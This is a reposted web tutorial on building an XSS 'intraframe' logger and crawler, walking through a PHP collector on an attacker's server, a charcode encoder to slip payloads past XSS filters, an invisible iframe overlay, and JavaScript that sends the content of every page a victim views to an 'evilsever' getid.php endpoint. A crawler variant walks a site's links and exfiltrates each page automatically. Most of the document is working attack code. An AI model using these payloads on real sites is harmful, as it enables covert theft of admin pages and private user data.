XSS Intraframe Logger/Crawler

2010-02-02 10:37:58 作者:root 来源: 浏览次数:0 网友评论 0

http://www.virtuax.be/fztr/index.php?title=XSS_Intraframe_Logger
 

Introduction

This is a small case-study of how you could implement a webbrowser logger purely based on an XSS. I will try to explain every step as clearly as possible but it is important that you first read the articles in the XSS and XSRF sections first.

Let's say you have found an XSS-vulnerable page, but there're no cookies there. You could do an XSRF on the admin page but, alas, you don't know the content of the admin panel. What we're going to do is make a logger that you will input in the XSS vector. The logger will be invisible to the admin, but while surfing the content of every page he visits will be sent to you. To accomplish (a simulation) of this we will need a few pages:

  1. Evil server:
    1. getid.php - This page will be stored on our server and will handle the logging.
    2. log.txt - The log file that will contain the contents of the loged pages
    3. strchr_logger.php - A utility that will make our input vectors pass through regular XSS detection mechanisms.
  2. Real server:
    1. vulnerable.php - A webpage vulnerable to XSS.
    2. somepage.php - Some random webpage that we are going to log.

[edit]Evil server

Let's first talk about the tools we'll be using. I'll go over each file and add the source code as well.

[edit]getid.php

Basically a php page that will log anything that it receives through the 'id' variable. Save it on a remote server controlled by you. We'll be refering to this server as Evilserver from now on.

<?php
   $id = $_GET["id"];
 
   //Send it to our e-mail
   //mail("evil@hacker.be", "Info stolen", $id);
 
   //Save info to a log file
   $file = fopen('log.txt', 'a');
   fwrite($file, $id . "\n\n");
?>

In theory you should protect the log.txt file. If you don't do this you yourself might become vulnerable to Log Poisoning.

[edit]log.txt

Just create an empty txt file in the same directory as getid.php on Evilserver. This is were the pages will be logged.

[edit]strch_logger.php

This utility will convert huge input vectors to a special format that you can directly input into the vulnerable variable. You can put this on the Evilserver.

<html>
<head>
  <style type="text/css">
  input { background:#999999;border:ridge 1px;color:black;}
  </style>
</head>
<body bgcolor="black" text="green">
<pre><h1>IV Converter</h1>
<form action="strch_logger.php" method="POST">
  &lt;script&gt;
       document.write('&lt;script&gt;
       <textarea name="clear" cols="40"><?php echo $_POST['clear'];?></textarea>
       <input type="submit" value=">>">
       &lt;/script&gt;');
  &lt;/script&gt;
</form>
<?php
if(isset($_POST['clear']))	 {
	$temp=str_split($_POST['clear']);
	$output ="&lt;script&gt;document.write(String.fromCharCode(";
	foreach($temp as $char=>$value)	
		$output.=ord($value).",";
	$output=substr($output,0,strlen($output)-1);
	$output.="));</script>";	
	echo " INPUT VECTOR: <input size='100' value='".$output."'/>";
}
?>
</pre>
</body>
</html>

[edit]Real server

To make this a realistic simulation we'll need a second server on a different domain. We'll be calling this Realserver from now on.

[edit]vulnerable.php

This is the XSS-vulnerable page. I've added some random content. This content should eventually be 'hidden' to the victim (more details later). The input variable will be xss (eg. vulnerable.php?xss=<script>...</script>).

The user can't see this page (the real page) 
<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br
<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br";
<?php
     echo "Injected XSS: ".$_GET['xss'];
?>

[edit]somepage.php

This page will be the page we want to log. This might be an admin panel or any other sensitive page but we'll call it 'somepage.php' for now. I've added an ID variable so that you can differentiate between different pages. You can put links to any page (in the realserver domain) you want here, it doesn't really matter, everything will be logged by our logger.

<body bgcolor="green">
<?php
    $id = $_GET['id'];
    echo "The user sees this page, this page will be logged (id=".$id.")<br>";
    echo "<h1><a href='somepage.php?id=".($id+1)."'>NEXT</a></h1></div>";
?>
<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br<br>br
</body>

[edit]The attack

Let's first take a look at the graphical representation of our attack.

Image:XSSLogger.png

The webbrowser has loaded vulnerable.php?xss=IV where IV is the input vector. The IV consists of an <iframe> which should overlay the whole webpage. Furthermore the IV contains a <script> which will handle the connection between the <iframe> data and the logger.

Note that we don't have any cross-domain restrictions here, we are allowed to copy the content of the <iframe> because the injected script is running on the realserver domain.

[edit]IV part1 : <iframe>

The iframe should basically load a starting page, have an id (for further reference) and an onLoad eventhandler. The onLoad eventhandler will be called whenever the <iframe> loads a new page, thus making it the perfect place to call our own function, to rip it's contents (getSource()). I've added css class attributes to each element. In a real example you should style the iframe so that it fully overlays the page, thus making the underlying page invisible to the user. This might require some tweaking depending on the page.

The second <iframe> (of) is where we will be loading the logging script in a similarly fashion as in the previous articles.

    <iframe border='0' id='if' class='if' src='somepage.html' onLoad='getSource();'></iframe>
    <iframe id='of' class='of'></iframe>

Styling example, this should cover most simple pages:

<style type='text/css'>
    body {
	overflow-x: hidden;
    }
    iframe.if {
	position:absolute;
	top:0px;
	left:0px;
	right:0px;
	bottom:0px;
	margin: 0px 0px 0px 0px;
	width:100%;
	height:2000px;
	overflow-x: hidden;
	overflow-y: hidden;
	border:0;
	background: white;
    }
    iframe.of {
	width:0px;
	height:0px;
    }
</style>

[edit]IV part2: <script>

The second part of our IV will be the script that links the <iframe> to our logger.

<script language="JavaScript">	
	setTimeout("changeSource('somepage.php');",200);
	function changeSource(URL) {
		document.getElementById("if").src = URL;
	}
	function getSource() {	
		logData(document.getElementById("if").contentDocument.body.innerHTML);
	}
	function logData(data) {
		document.getElementById("of").src = "http://evilsever/tools/getid.php?id=" +data;
	}
</script>

Obviously you need to change evilserver to the real location of your Evilserver.

[edit]Constructing the IV

Now use our previously mentioned tool strch_logger.php to convert IV1 & IV2 to an input vector. You should put the <script> code above the <iframe> code in your IV. This should give you something like this:

<script>document.write(String.fromCharCode(9,32,32,....));</script>

[edit]Using the logger

You are now ready to test the logger. Navigate to http://realserver/vulnerable.php?xss=IV where IV is the previously constructed IV. If everything goes well, it should look something like this:

Image:XSSLoggerScreen.png

The green area is the <iframe> and is the only thing the user should see. If everything went well, the loaded page will be logged to log.txt. If the user clicks on a link (eg. the big NEXT link), the next page will be logged too. Et voila, we have a browser-page-logger.

[edit]Compability

I've tested it with the latest version of Firefox and Opera and both seem to run the logger without any warnings. If you do find an incompability (probably due to my sloppy coding) send me an e-mail (ciri A-T virtuax D-O-T be).

[edit]Crawler

It's nice to have a logger but as you might have noticed by now, a logger isn't really useful if the user doesn't visit links. One click on the close button, one new tab opened, ... and you're logger is rended useless.

But problems are there to be solved. Instead of a logger, we can of course force the browser to load webpages. To do that, we first have to know which pages are in the domain, but the whole purpose of the logger was to reach pages that wedon't know (hence possibly giving out unknown information/new XSRF possibilities).

You can try this yourself, shouldn't be too hard, but here's a sketchy script that does the job. Note that you have to set up the first page and style the iframes to be invisible. Tested in FF only.

<html>
<head>
  <title>IntraFrame attack</title>
</head>
<body bgcolor="black" text="green">
<table width="100%" height="100%">
  <tr height="40"><td colspan="2" align="center"><pre><h1>IntraFrame Ripper</h1></pre></td></tr>
  <tr valign="middle" align="center">
    <td>
		<iframe width="400" height="400" id="if" name="if"></iframe>
	</td>
	<td>
		<iframe width="400" height="400" id="of" name="of"></iframe>
	</td>
  </tr>
</table>
  <script language="JavaScript">
	var links = new Array();
	var linksIdx=0;
	var sdom=0;
	var edom=0;	
 
	//Get domain
	var url = document.location.href;
		url = url.substr(7,url.length);
		edom=url.indexOf("/");
		var dot=0;
		while(dot<edom) {
			sdom=dot;
			dot = url.indexOf(".",sdom+1);
			if(dot==-1) dot=edom+1;
		}
	var domain = url.substr(sdom,edom);
	sdom+=7;
 
	//Initialize crawling
	setTimeout("changeSource('first.html')",100);
	setTimeout("crawl()",500);	
 
	function crawl() {
		if(links[0]==null)
			links[0] = document.getElementById("if").contentDocument.location.href;
		var frame = document.getElementById("if").contentDocument;
		var tmp = frame.links;
 
		for(var i=0;i<tmp.length;i++) {
			var checkdom = tmp[i].href.substr(0,7) != "http://";
			if(!checkdom)
				checkdom = tmp[i].href.substr(sdom,domain.length) == domain;
			if(!checkdom || contains(links, tmp[i].href))
				tmp[i] = null;
			else
				links[links.length] = tmp[i].href;
		}
 
		var starttime=0;
		for(var i=linksIdx;i<links.length;i++) {
				setTimeout("changeSource('"+links[i]+"')",starttime+50);
				setTimeout("getSource()",starttime+150);
				setTimeout("crawl()",starttime+200);
				starttime+=200;
				linksIdx++;
		}
	}
	function contains(array, element) {
		for(var i=0;i<array.length;i++) {
			if(array[i].toLowerCase() == element.toLowerCase())
				return true;
		}
		return false;
	}
	//Logging functions
	function changeSource(URL) {
		document.getElementById("if").src = URL;
	}
	function getSource() {	
		logData(document.getElementById("if").contentDocument.body.innerHTML+"\n\n\n\n\n");
	}
	function logData(data) {
		document.getElementById("of").src = "http://evilsever/tools/getid.php?id=" +data;
	}
	function showLog() {
		document.location.href = 'http://evilsever/tools/log.txt';
	}
  </script>
</body>
</html>

A graphical view of the script :

Image:XSSCrawler.png

相关文章

[收藏] [打印] [关闭] [返回顶部]

  • 验证码:

最新图片文章

最新文章